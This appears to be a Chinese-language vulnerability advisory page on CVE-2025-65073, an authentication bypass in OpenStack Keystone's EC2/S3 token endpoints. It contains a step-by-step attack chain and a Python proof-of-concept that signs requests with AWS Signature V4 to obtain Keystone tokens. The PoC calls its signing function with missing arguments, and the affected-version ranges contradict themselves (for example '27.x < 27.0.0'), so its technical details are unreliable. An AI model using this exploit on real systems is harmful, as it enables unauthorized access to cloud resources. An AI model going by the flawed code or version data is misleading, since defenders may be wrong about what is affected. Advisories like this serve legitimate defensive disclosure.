IPBUF安全漏洞报告
English
CVE-2025-65073 CVSS 7.5 高危

OpenStack Keystone AWS签名认证绕过漏洞 (CVE-2025-65073)

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-65073
漏洞类型
认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenStack Keystone

相关标签

认证绕过OpenStackKeystoneAWS签名权限提升身份认证高危漏洞

漏洞概述

OpenStack Keystone是OpenStack身份认证服务的核心组件,负责用户认证、授权和服务目录管理。在受影响的版本中,Keystone的/v3/ec2tokens和/v3/s3tokens端点存在严重的认证绕过漏洞。攻击者可以利用有效的AWS Signature(AWS S3兼容的签名机制)来获取Keystone的授权令牌,从而绕过正常的身份认证流程。这意味着攻击者可以无需提供有效的OpenStack凭据,仅通过构造符合AWS签名规范的请求,即可获得对OpenStack资源的访问权限。该漏洞的CVSS评分为7.5,属于高危级别,攻击复杂度为高,但无需认证和用户交互即可发起攻击。成功利用此漏洞可能导致敏感数据泄露、服务滥用以及横向移动等安全问题。

技术细节

OpenStack Keystone为了支持与AWS S3和EC2服务的兼容性,实现了/v3/ec2tokens和/v3/s3tokens端点来处理AWS风格的签名请求。然而,在受影响版本中,Keystone在验证AWS签名后错误地生成了标准的Keystone令牌,而不是仅返回EC2/S3兼容的凭证。攻击者可以构造一个带有有效AWS签名的请求到这些端点,Keystone会验证签名并返回有效的Keystone令牌。攻击者需要准备一个有效的AWS访问密钥和秘密密钥对,然后使用标准的AWS签名算法(如AWS Signature Version 4)对请求进行签名。签名的请求应发送到/v3/ec2tokens或/v3/s3tokens端点,Keystone会返回包含有效token的响应。攻击者随后可以使用这个token访问其他OpenStack服务如Nova、Glance、Cinder等,绕过正常的认证流程。

攻击链分析

STEP 1
步骤1
收集AWS访问密钥和秘密密钥对,攻击者需要拥有有效的AWS凭证
STEP 2
步骤2
使用AWS Signature Version 4算法对/v3/ec2tokens或/v3/s3tokens请求进行签名
STEP 3
步骤3
发送带有有效AWS签名的POST请求到OpenStack Keystone的EC2或S3 token端点
STEP 4
步骤4
Keystone验证AWS签名成功后,返回有效的OpenStack Keystone token
STEP 5
步骤5
使用获取的Keystone token访问其他OpenStack服务(Nova、Glance、Cinder等)
STEP 6
步骤6
执行未授权操作,包括数据访问、修改或删除资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import hashlib import hmac import datetime # AWS Signature Version 4 implementation def create_aws_signature(access_key, secret_key, method, host, uri, body=''): now = datetime.datetime.utcnow() amz_date = now.strftime('%Y%m%dT%H%M%SZ') date_stamp = now.strftime('%Y%m%d') # Create canonical request payload_hash = hashlib.sha256(body.encode()).hexdigest() canonical_headers = f'host:{host}\nx-amz-date:{amz_date}\n' signed_headers = 'host;x-amz-date' canonical_request = f'{method}\n{uri}\n\n{canonical_headers}\n{signed_headers}\n{payload_hash}' # Create string to sign credential_scope = f'{date_stamp}/us-east-1/iam/aws4_request' hashed_canonical = hashlib.sha256(canonical_request.encode()).hexdigest() string_to_sign = f'AWS4-HMAC-SHA256\n{amz_date}\n{credential_scope}\n{hashed_canonical}' # Calculate signature k_date = hmac.new(f'AWS4{secret_key}'.encode(), date_stamp.encode(), hashlib.sha256).digest() k_region = hmac.new(k_date, b'us-east-1', hashlib.sha256).digest() k_service = hmac.new(k_region, b'iam', hashlib.sha256).digest() k_signing = hmac.new(k_service, b'aws4_request', hashlib.sha256).digest() signature = hmac.new(k_signing, string_to_sign.encode(), hashlib.sha256).hexdigest() authorization = f'AWS4-HMAC-SHA256 Credential={access_key}/{credential_scope}, SignedHeaders={signed_headers}, Signature={signature}' return amz_date, authorization # Target OpenStack Keystone endpoint keystone_url = 'http://target-keystone:5000/v3/ec2tokens' host = 'target-keystone:5000' access_key = 'YOUR_AWS_ACCESS_KEY' secret_key = 'YOUR_AWS_SECRET_KEY' amz_date, auth_header = create_aws_signature('POST', host, '/v3/ec2tokens', '{}') headers = { 'Content-Type': 'application/json', 'X-Amz-Date': amz_date, 'Authorization': auth_header, 'Host': host } data = { 'ec2Credentials': { 'access': access_key, 'secret': secret_key } } response = requests.post(keystone_url, json=data, headers=headers) print('Status:', response.status_code) print('Response:', response.json())

影响范围

OpenStack Keystone < 26.0.1
OpenStack Keystone 27.x < 27.0.0
OpenStack Keystone 28.x < 28.0.0

防御指南

临时缓解措施
如果无法立即升级,可考虑限制对/v3/ec2tokens和/v3/s3tokens端点的网络访问,仅允许受信任的IP地址访问这些端点。同时加强日志监控,检测异常的AWS签名认证请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表